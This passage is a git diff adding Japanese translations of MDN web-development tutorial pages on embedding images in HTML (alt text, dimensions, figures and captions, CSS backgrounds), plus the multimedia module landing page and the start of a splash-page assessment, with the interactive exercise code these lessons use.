サブディレクトリにあった場合は、次のように埋め込みます。</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg"></pre> + +<p>等々。</p> + +<div class="note"> +<p><strong>メモ</strong>: 検索エンジンは画像ファイル名も読み込み、SEO に向けて数えます。したがって、画像にわかりやすいファイル名を付けてください。<code>dinosaur.jpg</code> は <code>img835.png</code> よりも優れています。</p> +</div> + +<p>たとえば、絶対 URL を使用して画像を埋め込むことができます。</p> + +<pre class="brush: html"><img src="https://www.example.com/images/dinosaur.jpg"></pre> + +<p>しかし、これは無意味だけでなく、ブラウザが DNS サーバから IP アドレスを再度検索するなどより多くの作業をすることになります。ほとんどの場合、Web サイトの画像を HTML と同じサーバに保存します。</p> + +<div class="warning"> +<p><strong>警告</strong>: ほとんどの画像は著作権で保護されています。次の場合を除き、Web ページに画像を表示<strong>しない</strong>でください。<br> + <br> + 1) 画像を所有している<br> + 2) 画像の所有者からの書面による明示的な許可を得ている、または<br> + 3) 画像は、実際にパブリックドメインであるという十分な証拠がある。<br> + <br> + 著作権侵害は違法で非倫理的です。加えて、あなたがリンクする権限を持たない他の誰かの Web サイトでホストされている画像へあなたの <code>src</code> 属性を向け<strong>ない</strong>でください。これは「ホットリンク」と呼ばれます。さらに、誰かの帯域幅を盗むことは違法です。また、ページが遅くなり、画像が削除されたり、恥ずかしいものに置き換えられたりするかどうかを制御できません。</p> +</div> + +<p>上のコードでは、次の結果が得られます。</p> + +<p><img alt='恐竜の基本的な画像が、ブラウザに埋め込まれ、その上に "Images in HTML" が書かれています' src="https://mdn.mozillademos.org/files/12700/basic-image.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: {{htmlelement("img")}} や {{htmlelement("video")}} のような要素は、<strong>置き換えられた要素</strong>と呼ばれることがあります。これは、要素の内容とサイズが、要素自体の内容ではなく、外部リソース(画像ファイルや動画ファイルなど)によって定義されているためです。</p> +</div> + +<div class="note"> +<p><strong>メモ</strong>: 完成したサンプルは、このセクションの <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html">Github で実行する</a>から見つけることができます (<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html">ソースコード</a>も参照してください)。</p> +</div> + +<h3 id="Alternative_text" name="Alternative_text">代替テキスト</h3> + +<p>次の属性は <code>alt</code> です。その値は、画像が見えない/表示されない状況で使用するためにあり、画像のテキスト記述であると考えられる。たとえば、上記のコードは次のように変更できます。</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg" + alt="恐竜の骨格の頭と胴体、 + それは長い鋭い歯を持つ大きな頭を持っています"></pre> + +<p><code>alt</code> テキストをテストする最も簡単な方法は、意図的にファイル名のスペルミスをすることです。たとえば、画像名のスペルが <code>dinosooooor.jpg</code> の場合、ブラウザは画像を表示せず、代わりに代替テキストを表示します。</p> + +<p><img alt="Images in HTMLというタイトルですが、今回は恐竜の画像が表示されず、代替テキストが代わりに表示されます。" src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p> + +<p>それでは、なぜ代替テキストを見たり、必要とするのでしょうか? いくつかの理由から便利です。</p> + +<ul> + <li>ユーザは視覚障害があり、<a href="https://ja.wikipedia.org/wiki/スクリーンリーダー">スクリーンリーダー</a>を使用して Web を読むことができます。実際、画像を記述するための代替テキストを用意することは、ほとんどのユーザにとって有益です。</li> + <li>上記のように、ファイル名またはパス名のスペルが間違っている可能性があります。</li> + <li>ブラウザは画像タイプをサポートしていません。<a href="https://ja.wikipedia.org/wiki/Lynx_(%E3%82%A6%E3%82%A7%E3%83%96%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6)">Lynx</a> などのテキストのみのブラウザを使用している人もいますが、代わりに画像の代替テキストを表示します。</li> + <li>検索エンジンにテキストを提供して活用することができます。たとえば、検索エンジンは代替テキストと検索照会を一致させることができます。</li> + <li>ユーザは画像をオフにして、データ転送量や目移りを減らしました。これは特に、携帯電話や帯域幅が限られて高価な国では一般的です。</li> +</ul> + +<p><code>alt</code> 属性の中にぴったりの何を書きますか? それは最初の場所に画像がある理由に依存します。言い換えれば、画像が表示されない場合に失うもの。</p> + +<ul> + <li><strong>装飾</strong>。装飾画像に {{anch("CSS background images","CSS 背景画像")}}を使用する必要がありますが、HTML を使用する必要がある場合は空白の <code>alt=""</code> を追加してください。画像がコンテンツの一部でない場合、スクリーンリーダーは時間を浪費してはなりません。</li> + <li><strong>コンテンツ</strong>。画像が重要な情報を提供している場合は、簡単な代替テキストで同じ情報を提供する。それよりもっと良いのは、誰もが見ることができる本文の中で提供する。冗長な代替テキストを書き込まないでください。すべての段落がメインコンテンツに2回書かれていると、目に見えるユーザにとってはどれほど迷惑でしょうか? 画像が主たる本文で十分に記述されている場合は、単に <code>alt=""</code> を使用できます。</li> + <li><strong>リンク</strong>。{{htmlelement("a")}} タグ内に画像を置くと、画像をリンクに変えるためには、依然として<a href="/ja/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Use_clear_link_wording">アクセス可能なリンクテキスト</a>を提供する必要があります。そのような場合は、同じ <code><a></code> 要素内に、または画像の <code>alt</code> 属性内に書き込むことができます。</li> + <li><strong>テキスト</strong>。テキストを画像に入れないでください。たとえば、メインの見出しにドロップシャドウが必要な場合は、テキストを画像に入れるのではなく、<a href="/ja/docs/Web/CSS/text-shadow">CSS を使用</a>します。しかし、これが避けられない場合は、<code>alt</code> 属性にテキストを与える必要があります。</li> +</ul> + +<p>基本的には、画像が見えないときでも、実用的な体験を提供することが鍵です。これにより、すべてのユーザにコンテンツが欠落していないことが保証されます。ブラウザの画像をオフにして、どのように見えるかを確認してください。画像が見えない場合に、すぐに役立つ代替テキストがどれほどあるかをすぐに理解できます。</p> + +<div class="note"> +<p><strong>メモ</strong>: 詳細については、<a href="/ja/docs/Learn/Accessibility/HTML#Text_alternatives">代替テキストのガイド</a>を参照してください。</p> +</div> + +<h3 id="Width_and_height" name="Width_and_height">幅と高さ</h3> + +<p><code>width</code> 属性と <code>height</code> 属性を使用して、画像の幅と高さを指定することができます。画像の幅と高さはさまざまな方法で確認できます。たとえば Mac では、<kbd>Cmd</kbd> + <kbd>I</kbd> を使用して画像ファイルの情報を表示することができます。例に戻ると、これをこのように行うことができます。</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg" + alt="恐竜の骨格の頭と胴体、 + それは長い鋭い歯を持つ大きな頭を持っています" + width="400" + height="341"></pre> + +<p>これは、通常の状況下では表示が大きく異なるものではありません。しかし、画像が表示されていない場合、たとえば、ユーザがページに移動して画像がまだ読み込まれていない場合、ブラウザには画像が表示されるスペースが残ります。</p> + +<p><img alt="恐竜の代替テキストを含む Images in HTML タイトルは、幅と高さの設定の結果として大きなボックスの内側に表示されます" src="https://mdn.mozillademos.org/files/12706/alt-text-with-width-height.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p> + +<p>これは良いことです。その結果、ページの読み込みがより迅速かつスムーズに行われます。</p> + +<p>ただし、HTML 属性を使用して画像のサイズを変更しないでください。画像のサイズを大きくしすぎると、ざらついて、ぼやけた画像になり、小さくしすぎると、帯域幅を無駄にしてユーザのニーズに合わない画像をダウンロードすることになります。正しい<a href="https://ja.wikipedia.org/wiki/アスペクト比">アスペクト比</a>を維持しないと、画像が歪んで見えることもあります。画像エディタを使用して画像を正しいサイズにしてから、Webページに配置する必要があります。</p> + +<div class="note"> +<p><strong>メモ</strong>: 画像のサイズを変更する必要がある場合は、代わりに <a href="/ja/docs/Learn/CSS">CSS</a> を使用する必要があります。</p> +</div> + +<h3 id="Image_titles" name="Image_titles">画像のタイトル</h3> + +<p><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Adding_supporting_information_with_the_title_attribute">リンク</a>と同様に、画像に <code>title</code> 属性を追加して、必要に応じてさらにサポート情報を提供することもできます。この例では、これを行うことができます。</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg" + alt="恐竜の骨格の頭と胴体、 + それは長い鋭い歯を持つ大きな頭を持っています" + width="400" + height="341" + title="<span id="result_box" lang="ja"><span>マンチェスター大学博物館に展示されている T-Rex</span></span>"></pre> + +<p>これは、リンクのタイトルと同様に、マウスのホバーによるツールチップを提供します。</p> + +<p><img alt="恐竜の画像に、A T-Rex on display at the Manchester University Museumというツールチップのタイトルが表示されます" src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p> + +<p>しかし、これは推奨されていません — <code>title</code> には多くのアクセシビリティ上の問題があります。主に、スクリーンリーダーのサポートは予測不可能で、マウスを使用していない限り、ほとんどのブラウザーでは表示されません(例えば、キーボード ユーザ)。このことについてもっと知りたい場合は、Scott O'Hara の<a href="https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/">タイトル属性の試行錯誤</a> (英語) をお読みください。</p> + +<p>画像に添付するのではなく、メインの記事のテキストにそのようなサポート情報を含める方が良いでしょう。</p> + +<h3 id="Active_learning_embedding_an_image" name="Active_learning_embedding_an_image">アクティブラーニング: 画像の埋め込み</h3> + +<p>今度はあなたの番です! この能動的学習セクションでは、あなたに簡単な埋め込み練習をさせていただきます。基本的な {{htmlelement("img")}} タグが提供されています。次の URL の画像を埋め込むようにしてください。</p> + +<p>https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg</p> + +<p>以前は他のサーバ上の画像に絶対にホットリンクしないように言っていましたが、これは単なる学習目的のためのものです。</p> + +<p>また、次のこともします。</p> + +<ul> + <li>代替テキストを追加し、画像 URL のスペルを間違えて機能することを確認します。</li> + <li>画像の正しい <code>width</code> と <code>height</code> (ヒント: 幅200ピクセル、高さ171ピクセル) を設定し、他の値を試してその効果を確認します。</li> + <li>画像に <code>title</code> を設定します。</li> +</ul> + +<p>間違えた場合は、[Reset] ボタンを使用してリセットすることができます。あなたが本当に立ち往生した場合は、[Show solution] ボタンを押して答えを表示してください。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="min-height: 100px; width: 95%"> +<img> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div></pre> + +<pre class="brush: css">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = '<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum">'; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Annotating_images_with_figures_and_figure_captions" name="Annotating_images_with_figures_and_figure_captions">図表と図表のキャプションで画像に注釈を付ける</h2> + +<p>キャプションといえば、画像に付けるキャプションを追加する方法はいくつかあります。たとえば、これをやめさせることは何もありません。</p> + +<pre class="brush: html"><div class="figure"> + <img src="images/dinosaur.jpg" + alt="恐竜の骨格の頭と胴体、 + それは長い鋭い歯を持つ大きな頭を持っています" + width="400" + height="341"> + + <p>マンチェスター大学博物館に展示されている T-Rex。</p> +</div></pre> + +<p>これで結構です。それはあなたが必要とするコンテンツを含んでおり、CSS を使って素敵に書式設定できます。しかし、ここに問題があります。画像をキャプションに意味的にリンクするものは何もありません。スクリーンリーダーにとっては問題を引き起こす可能性があります。たとえば、50個の画像とキャプションがある場合、どのキャプションにどの画像が表示されますか?</p> + +<p>より良い解決策は、HTML5 の {{htmlelement("figure")}} と {{htmlelement("figcaption")}} 要素を使用することです。図表のための意味的なコンテナを提供し、図表をキャプションに明確にリンクさせること。これはまさにこの目的のために作成されたものです。上記の例は次のように書き直すことができます。</p> + +<pre><figure> + <img src="images/dinosaur.jpg" + alt="恐竜の骨格の頭と胴体、 + それは長い鋭い歯を持つ大きな頭を持っています" + width="400" + height="341"> + + <figcaption>マンチェスター大学博物館に展示されている T-Rex。</figcaption> +</figure></pre> + +<p>{{htmlelement("figcaption")}} 要素は、キャプションが {{htmlelement("figure")}} 要素の他のコンテンツを説明していることをブラウザと支援技術に伝えます。</p> + +<div class="note"> +<p><strong>メモ</strong>: アクセシビリティの観点から、キャプションと {{htmlattrxref('alt','img')}} テキストには明確な役割があります。キャプションは画像を見ることができる人にも利益をもたらしますが、代替テキストは欠けている画像と同じ機能を提供します。したがって、キャプションと代替テキストは、画像がなくなったときに両方が表示されるため、同じことを言うべきではありません。ブラウザで画像をオフにして見た目を確認してみてください。</p> +</div> + +<p>図表は画像である必要はありません。それは次のようにコンテンツの独立した単位です。</p> + +<ul> + <li>あなたの趣旨をコンパクトでわかりやすく表現します。</li> + <li>ページの直線的な流れのいくつかの場所に入ることができます。</li> + <li>メインテキストをサポートするための重要な情報を提供します。</li> +</ul> + +<p>図表は、いくつかの画像、コードスニペット、音声、動画、方程式、表、または何か他のものであってもよい。</p> + +<h3 id="Active_learning_creating_a_figure" name="Active_learning_creating_a_figure">アクティブラーニング: 図表の作成</h3> + +<p>この能動的学習セクションでは、以前の能動的学習セクションで完成したコードを図表にします。</p> + +<ul> + <li>{{htmlelement("figure")}} 要素でラップします。</li> + <li>テキストを <code>title</code> 属性からコピーし、<code>title</code> 属性を削除し、テキストを画像の下の {{htmlelement("figcaption")}} 要素の中に置きます。</li> +</ul> + +<p>間違えた場合は、[Reset] ボタンを使用してリセットすることができます。あなたが本当に立ち往生した場合は、[Show solution] ボタンを押して答えを表示してください。</p> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html"><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="min-height: 100px; width: 95%"> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div></pre> + + + +<pre class="brush: css">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + + + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = '<figure>\n <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171">\n <figcaption>A T-Rex on display in the Manchester University Museum</figcaption>\n</figure>'; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> + + + + +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="CSS_background_images" name="CSS_background_images">CSS 背景画像</h2> + +<p>また、CSS を使用して画像をWebページに埋め込むこともできます(JavaScriptでもできますが、それはまったく別の話です)。CSS の {{cssxref("background-image")}} プロパティとその他の <code>background-*</code> プロパティは、背景画像の配置を制御するために使用されます。たとえば、ページ上の各段落に背景画像を配置するには、次のようにします。</p> + +<pre class="brush: css">p { + background-image: url("images/dinosaur.jpg"); +}</pre> + +<p>結果として得られる埋め込み画像は、HTML 画像よりも位置付けと制御が容易であることは間違いありません。それでは、なぜ HTML 画像を気にするのですか? 上記のとおり、CSS 背景画像は装飾用です。ビジュアルを向上させるためにページに何かを追加したいだけなら、これは問題ありません。しかし、そのような画像には意味論的な意味は全くありません。同等のテキストを持つことはできず、スクリーンリーダーには見えません。これは HTML 画像の輝く時です!</p> + +<p><strong>要約</strong>: 画像に意味がある場合は、コンテンツに関して、HTML 画像を使用する必要があります。画像が純粋に装飾である場合は、CSS 背景画像を使用する必要があります。</p> + +<div class="note"> +<p><strong>メモ</strong>: <a href="/ja/docs/Learn/CSS/Styling_boxes/Backgrounds">CSS 背景画像</a>については、<a href="/ja/docs/Learn/CSS">CSS</a> のトピックで詳しく説明します。</p> +</div> + +<p>それは今のところすべてです。画像とキャプションを詳細にカバーしています。次の記事では、HTML を使用してWebページに動画と音声を埋め込む方法を見ていきます。</p> + +<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Web にベクターグラフィックスを追加する</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla のスプラッシュページ</a></li> +</ul> diff --git a/files/ja/learn/html/multimedia_and_embedding/index.html b/files/ja/learn/html/multimedia_and_embedding/index.html new file mode 100644 index 0000000000..3dc7f06753 --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/index.html @@ -0,0 +1,78 @@ +--- +title: マルチメディアとその埋め込み方 +slug: Learn/HTML/Multimedia_and_embedding +tags: + - Assessment + - Audio + - Beginner + - CodingScripting + - Flash + - Guide + - HTML + - Images + - Landing + - Learn + - SVG + - Video + - iframes + - imagemaps + - responsive + - イメージマップ + - ガイド + - フラッシュ + - レスポンシブ + - 初心者 + - 動画 + - 学習 + - 画像 + - 着地ページ + - 評価試験 + - 音声 +translation_of: Learn/HTML/Multimedia_and_embedding +--- +<p>{{LearnSidebar}}</p> + +<p class="summary">このコースではここまで多くのテキストを見てきましたが、ただテキストだけのWebでは面白くありません。Web が生き生きとして、面白いコンテンツがどんどんあふれるようにする方法を見ていきましょう！ このモジュールでは、HTMLをどのように用いれば、あなたの Web ページにマルチメディアを含めることができるかについて学びます。 また、画像を挿入するためのさまざまな方法や、動画・音声、さらには他の Web ページ全体を挿入する方法についても触れます。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを開始する前に、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML入門</a>で述べられてきた、HTML の基本についてのある程度の知識が求められます。 このモジュール (や似たようなもの) を一通り終えていない場合、まずそちらを一通り終えてから戻ってきてください！</p> + +<div class="note"> +<p><strong>メモ</strong>: 自分自身のファイルを作れないコンピューター/タブレット/その他デバイスで作業している場合、<a href="https://jsbin.com/">JSBin</a> や <a href="https://thimble.mozilla.org/">Thimble</a> のようなオンラインコーティングプログラムにてコードの実例 (の大半) を試すことができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<p>このモジュールには下記の記事が含まれていて、そこではマルチメディアをWeb ページに埋め込むための基礎を学びます。</p> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTMLの画像</a></dt> + <dd>考慮すべき他のタイプのマルチメディアもありますが、単純な画像をWeb ページに埋め込むために使用される、慎ましい {{htmlelement("img")}} 要素から始めるのが理にかなっています。 この記事では、基本的な使い方を含め、 {{htmlelement("figure")}} を使ったキャプションによる注釈付け、CSS背景画像との関連の仕方など、画像をより深く使用する方法を見ていきます。</dd> + <dt><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></dt> + <dd>次に、HTML5の {{htmlelement("video")}} 要素と {{htmlelement("audio")}} 要素を使用して、動画や音声をページに埋め込む方法を見ていきます。 それには、基本的な使い方を含め、さまざまなファイルフォーマットへのアクセスをさまざまなブラウザーに提供したり、キャプションや字幕の追加、古いブラウザーへの代替の追加などが含まれています。</dd> + <dt><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></dt> + <dd>この時点では、{{htmlelement("iframe")}} 、{{htmlelement("embed")}}、{{htmlelement("object")}} 要素のような幅広い種類のコンテンツをWeb ページに埋め込むことができる要素をいくつか見ていきたいと考えています。 <code><iframe></code> は他のWeb ページを埋め込むためのもので、他の2つは PDF、SVG、さらには Flash を埋め込むことができます — 出口にある技術ですが、まだ半定期的に見かけるでしょう。</dd> + <dt><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Webにベクターグラフィックスを追加する</a></dt> + <dd>ベクターグラフィックスは、特定の状況で非常に便利です。 PNG や JPG のような通常のフォーマットとは異なり、ズームインしてもゆがんだりピクセル化したりしません — 縮尺を変えても滑らかな状態を保つことができます。 この記事では、ベクターグラフィックスの概要と、ポピュラーな {{glossary("SVG")}} フォーマットをWeb ページに含める方法を紹介します。</dd> + <dt><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></dt> + <dd>携帯電話からデスクトップコンピュータに至るまで、Webを閲覧できるようになったさまざまな種類のデバイスで、現代のWeb世界を習得するために不可欠な概念は、レスポンシブデザインです。 これは、さまざまな画面サイズ、解像度などに合わせて機能を自動的に変更できるWeb ページの作成を指します。 これについては、後ほどCSSモジュールで詳しく見ていく予定ですが、ここでは、HTMLで {{htmlelement("picture")}} 要素を含むレスポンシブ画像を作成するためのツールを見ていきます。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価試験</h2> + +<p>上記のガイドで説明されている HTML の基本について、以下の評価試験を行います。</p> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozillaのスプラッシュページ</a></dt> + <dd>今回の評価試験では、このモジュールの記事で説明したいくつかの技術の知識をテストするために、Mozillaのすべてついてのファンキーなスプラッシュページに、いくつかの画像と動画を追加してもらいます！</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">画像の上にヒットマップを追加する</a></dt> + <dd>イメージマップは、画像のさまざまな部分を別の場所にリンクするためのメカニズムを提供します(あなたがクリックしたそれぞれの国についての詳細情報にリンクしている地図を考えてみてください)。 この手法は時には便利なことがあります。</dd> + <dt><a href="https://teach.mozilla.org/activities/web-lit-basics-two/">Webリテラシーの基礎 2</a> (英語)</dt> + <dd>優れたMozillaの基礎コースで、マルチメディアと埋め込みモジュールで説明されているスキルのいくつかを調べてテストします。 Web ページの作成、アクセシビリティの設計、リソースの共有、オンラインメディアの使用、オープンな作業 (コンテンツは自由に利用可能で、他の人が共有できることを意味します) の基礎を深く理解してください。</dd> +</dl> diff --git a/files/ja/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/ja/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html new file mode 100644 index 0000000000..b03f568d29 --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html @@ -0,0 +1,129 @@ +--- +title: Mozilla のスプラッシュページ +slug: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page +tags: + - Assessment + - Beginner + - CodingScripting + - Embedding + - HTML + - Multimedia + - Video + - iframe + - picture + - responsive + - sizes + - srcset + - マルチメディア + - レスポンシブ + - 初心者 + - 動画 + - 埋め込み + - 評価試験 +translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">今回の評価試験では、このモジュールの記事で説明したいくつかの技術の知識をテストするために、Mozilla のすべてついてのファンキーなスプラッシュページに、いくつかの画像と動画を追加してもらいます！</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>この評価試験を試す前に、残りの<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding">マルチメディアとその埋め込み方</a>のモジュールに既に取り組んでいる必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ウェブページに画像と動画を埋め込むこと、フレーム、および HTML レスポンシブ画像技術に関する知識をテストすること。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">出発点</h2> + +<p>この評価試験を開始するには、github の <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/">mdn-splash-page-start</a> ディレクトリにある HTML とすべての画像を取得する必要があります。 <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/index.html">index.html</a> の内容をローカルドライブの新しいディレクトリの <code>index.html</code> というファイルに保存します。 それから、<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/pattern.png">pattern.png</a> を同じディレクトリに保存します（画像を右クリックして保存するオプションを選びます）。</p> + +<p><a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals">originals</a> ディレクトリの別の画像にアクセスし、同じ方法で保存します。 あなたはそれらを使用する準備が整う前に、グラフィックスエディタを使って（それらのいくつかを）操作する必要があるので、今は別のディレクトリに保存する必要があります。</p> + +<div class="note"> +<p><strong>メモ</strong>: 例の HTML ファイルには、ページのスタイルを設定するための CSS がかなり多く含まれています。 {{htmlelement("body")}} 要素内の HTML だけで、CSS に触れる必要はありません — 正しいマークアップを挿入する限り、スタイリングは正しく表示されます。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクトの概要</h2> + +<p>今回の評価試験では、ほとんど完成した Mozilla のスプラッシュページを紹介しています。 これは、Mozilla が何を意味しているかについて、何か素敵で興味深いことを言い、さらなるリソースへのリンクを提供することを目的としています。 残念ながら、画像や動画はまだ追加されていません — これがあなたの仕事です！ ページの見栄えを良くし、もっと理にかなったものにするために、いくつかのメディアを追加する必要があります。 次のサブセクションでは、実行する必要があることを詳しく説明します。</p> + +<h3 id="Preparing_images" name="Preparing_images">画像の準備</h3> + +<p>お気に入りの画像エディタを使用して、次のものから 400px 幅と 120px 